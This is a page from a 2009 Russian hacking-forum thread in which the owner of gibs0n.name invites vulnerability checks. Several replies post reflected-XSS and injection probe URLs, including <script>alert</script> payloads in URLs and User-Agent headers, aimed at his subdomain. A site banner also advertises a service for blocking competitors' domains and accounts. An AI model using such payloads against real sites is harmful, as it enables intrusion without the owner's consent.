gibs0n.name

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Проверка на уязвимости
gibs0n.name

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

23.03.2009, 02:50

gibson

Постоянный

Регистрация: 24.02.2006

Сообщений: 447

С нами: 10636106

Репутация: 705

оО, скули и ксс там сразу отпадают, мб только если находиться в разработке как сейчас.

BlackSun: но на данный момент присутствует XSS

Последний раз редактировалось BlackSun; 23.03.2009 в 02:56..

#12

18.05.2009, 19:43

eLWAux

Постоянный

Регистрация: 15.06.2008

Сообщений: 941

С нами: 9423746

Репутация: 2399

http://fun.gibs0n.name/index.php/mainpage/category/id/'2

Цитата:

251. {
252. if (!$condition)
253. {
254. throw new sfError404Exception($this->get404Message($message));
255. }
256. }
257. public function forward404If($condition, $message = null)

#13

18.05.2009, 19:45

eLWAux

Постоянный

Регистрация: 15.06.2008

Сообщений: 941

С нами: 9423746

Репутация: 2399

xss:
http://fun.gibs0n.name/index.php/mainpage/category/id/'2<script>alert(/SiXss/);</script>

#14

18.05.2009, 19:49

eLWAux

Постоянный

Регистрация: 15.06.2008

Сообщений: 941

С нами: 9423746

Репутация: 2399

смотрим линк картинки:
http://fun.gibs0n.name/index.php/mainpage/view?id=2
[i]http://fun.gibs0n.name/img/2009/03/3c3a7891a6cabfd38c26673a7c712ec4.jpg[i]
смотрим в папку:
http://fun.gibs0n.name/img/2009/03/ ошибка

Цитата:

706. {
707. $this->dispatcher->notify(new sfEvent($this, 'application.log', array(sprintf('Action "%s/%s" does not exist', $moduleName, $actionName))));
708. }
709. throw new sfError404Exception(sprintf('Action "%s/%s" does not exist.', $moduleName, $actionName));
710. }
711. $actionInstance = $this->getAction($moduleName, $actionName);
712. $this->getActionStack()->addEntry($moduleName, $actionName, $actionInstance);

XSS
http://fun.gibs0n.name/img/2009/03/
в User-Agent: <script>alert(/xss/);</script>

#15

18.05.2009, 19:52

eLWAux

Постоянный

Регистрация: 15.06.2008

Сообщений: 941

С нами: 9423746

Репутация: 2399

perhaps Overfload:
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222

xss:
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222<script>alert(/x/);</script>
http://fun.gibs0n.name/index.php/mainpage/view?id=22222222222222
User-Agent: <script>alert(/xss/);</script>

#16

14.08.2009, 13:22

gibson

Постоянный

Регистрация: 24.02.2006

Сообщений: 447

С нами: 10636106

Репутация: 705

Прикрутил поиск с помощью Sphinx. Знаю, что это немного глупо, но вещь действительно мощная и очень гибка. Поиск осуществлять одно удовольствие. Если кто знает как осуществлять переиндексацию, просьба отписаться в ПМ.

http://gibs0n.name/search

Появился новый поддомен http://fun.gibs0n.name - пока в стадии разработки. Пока не знаю что там и как сделать, если у кого есть предложения, отписываемся в ПМ, постараюсь реализовать.

предложения/пожелания в ПМ

Последний раз редактировалось BlackSun; 14.08.2009 в 13:48..

Страница 2 из 2

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход